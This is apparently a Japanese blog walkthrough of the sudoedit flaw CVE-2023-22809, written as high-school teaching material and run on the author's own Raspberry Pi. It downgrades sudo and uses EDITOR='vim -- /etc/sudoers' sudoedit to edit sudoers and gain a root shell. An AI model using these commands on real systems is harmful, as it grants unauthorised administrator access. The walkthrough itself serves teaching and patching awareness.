Linuxの権限昇格をしてみた【CVE-2023-22809】

# パソコン乗っ取ってみた！

管理者権限のないパソコンをどのようにして乗っ取るかという話です。


# 免責事項

今度、高校の情報の時間にプログラミングはセキュリティのお話しをする機会があります。
その際にこちらのドキュメントを活用するので、あまり技術的に詳しくは書きません。
また、**これらのテクニックをくれぐれも悪用しないでください**！

# やってみた

ここから実際にパソコンを乗っ取っていきます。

## CVE-2023-22809 に関して

アプリケーションには脆弱性と呼ばれる、セキュリティ上の欠陥がしばしば生まれます。
脆弱性は主にプログラミングした際のミスによって生まれます。

今回悪用する脆弱性は権利者権限を管理するアプリケーションの脆弱性です。

> In Sudo before 1.9.12p2, the sudoedit (aka -e) feature mishandles extra arguments passed in the user-provided environment variables (SUDO_EDITOR, VISUAL, and EDITOR), allowing a local attacker to append arbitrary entries to the list of files to process. This can lead to privilege escalation. Affected versions are 1.8.0 through 1.9.12.p1. The problem exists because a user-specified editor may contain a "--" argument that defeats a protection mechanism, e.g., an EDITOR='vim -- /path/to/extra/file' value.

1.9.12p2 より前の Sudo では、sudoedit (別名 -e) 機能がユーザー提供の環境変数 (SUDO_EDITOR、VISUAL、および EDITOR) で渡された余分な引数を誤って処理し、ローカルの攻撃者が処理するファイルのリストに任意のエントリを追加できるようにします。 . これは、権限昇格につながる可能性があります。 影響を受けるバージョンは 1.8.0 から 1.9.12.p1 です。 この問題は、ユーザー指定のエディターに保護メカニズムを無効にする "--" 引数が含まれている可能性があるために発生します (例: EDITOR='vim -- /path/to/extra/file' 値)。

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-22809

つまり、**あるコマンドを利用して余計に文字列を渡すと、アプリケーションが誤って権限を解釈してしまう**ということですね。

## 環境セットアップ

公開されているサーバーに対して行うと、不正アクセスとなり逮捕されてしまいます。
今回はいつも利用している、自分のサーバーに対して仕掛けます。

新規ユーザーを作成します。
このユーザーは一切特別な権限を持たない一般ユーザです。
（一般市民みたいな解釈をしてください）

```bash
labpixel@raspberrypi:~ $ sudo useradd -mU user1

labpixel@raspberrypi:~ $ sudo passwd user1
新しい パスワード:
新しい パスワードを再入力してください:
passwd: パスワードは正しく更新されました
```

sudoのバージョンを確認します。

```bash
sudo/stable-security,now 1.9.5p2-3+deb11u1 arm64 [インストール済み]
sudo/stable 1.9.5p2-3 arm64

sudo/stable-security 1.9.5p2-3+deb11u1 armhf
sudo/stable 1.9.5p2-3 armhf
```

インストールされているのはパッチが適応されたバージョンらしいです。
ダウングレードしてやりましょう。

```
labpixel@raspberrypi:~ $ sudo apt install sudo=1.9.5p2-3
```

このバージョンは脆弱性があるバージョンですね。

## tryしてみる！

```bash
labpixel@raspberrypi:~ $ sudo vi /only-sudo.txt
```

このように書き込みました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/abb221d8-51c5-749d-8e58-e1414083b828.png)

user1にログインしてやってみましょう。

```bash
labpixel@raspberrypi:~ $ su user1
パスワード:

user1@raspberrypi:/home/labpixel $ sudo echo TEST > /only-sudo.txt
bash: /only-sudo.txt: 許可がありません

user1@raspberrypi:/home/labpixel $ sudo vi /only-sudo.txt

あなたはシステム管理者から通常の講習を受けたはずです。
これは通常、以下の3点に要約されます:

    #1) 他人のプライバシーを尊重すること。
    #2) タイプする前に考えること。
    #3) 大いなる力には大いなる責任が伴うこと。

[sudo] user1 のパスワード:
user1 は sudoers ファイル内にありません。この事象は記録・報告されます。
user1@raspberrypi:/home/labpixel $
```

user1ではsudoとして書き込んだりできません。

しかし、何らかの理由で管理者は`usre1`さんと一緒に`/only-sudo.txt`ファイルを編集したいと思いました。
以下のコマンドでuser1が特別に`/only-sudo.txt`の編集することを許可します。

```
user1@raspberrypi:/home/labpixel $ su labpixel
パスワード:
labpixel@raspberrypi:~ $ sudo visudo
```

最後の行にこちらを追加します。

```
user1 ALL=(ALL:ALL) NOPASSWD: sudoedit /only-sudo.txt
```

変更を保存してください。

## 権限昇格してみる！

先ほどuser1さんが`/only-sudo.txt`を編集できるようになったので、以下のように編集して保存できました。

```bash
user1@raspberrypi:/home/labpixel $ EDITOR='vim' sudoedit /only-sudo.txt
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/fb439d99-b36f-7f3c-bf28-8b6dd22a9985.png)

```
user1@raspberrypi:/home/labpixel $ cat /only-sudo.txt
ONLY SUDO!
and user1!
```

しかし、user1さんは依然として管理者権限を持っていません。

```
user1@raspberrypi:~ $ sudo cat /var/log/auth.log
[sudo] user1 のパスワード:
残念ですが、ユーザー user1 は'/usr/bin/cat /var/log/auth.log' を root として raspberrypi 上で実行することは許可されていません。

user1@raspberrypi:~ $ cat /var/log/auth.log
cat: /var/log/auth.log: 許可がありません

user1@raspberrypi:~ $ visudo
visudo: /etc/sudoers: 許可がありません

user1@raspberrypi:~ $ sudo vi /etc/sudoers
[sudo] user1 のパスワード:
残念ですが、ユーザー user1 は'/usr/bin/vi /etc/sudoers' を root として raspberrypi 上で実行することは許可されていません。
```

以下コマンドを実行します。

```
user1@raspberrypi:~ $ EDITOR='vim -- /etc/sudoers' sudoedit /only-sudo.txt
```

そうすると、`etc/sudoers`が開かれました。
このファイルはsudoの権限を管理するファイルで、先ほどの手順では開けませんでした。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/5d700bc6-3cda-c935-579f-f3ad735b0bb8.png)

ここで自分を管理者にしてしまいましょう！
以下のような記述を追加します。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1523062/2e52b18f-bcdd-23be-21ff-5f4246466aeb.png)

これでuser1は管理者権限を持ちました。
先ほどできなかったコマンドを実行してみましょう。

```
user1@raspberrypi:~ $ sudo cat /var/log/auth.log
[sudo] user1 のパスワード:
＜中略＞
Mar  4 16:55:55 raspberrypi sudo:    user1 : TTY=pts/0 ; PWD=/home/user1 ; USER=root ; COMMAND=/usr/bin/cat /var/log/auth.log
```

きちんと管理者でなくては見えないファイルが開けます。
また、管理者のSHELLにアクセスもできます。

```bash
user1@raspberrypi:~ $ sudo su -
[sudo] user1 のパスワード:
root@raspberrypi:~#
```

# まとめ

簡単に一般ユーザーでも管理者になることができました。
脆弱性があるSUDOを利用している方はすぐにアップデートしましょう。

めっちゃ怖い！

OSCPの取得に向けて勉強しようかなと思います。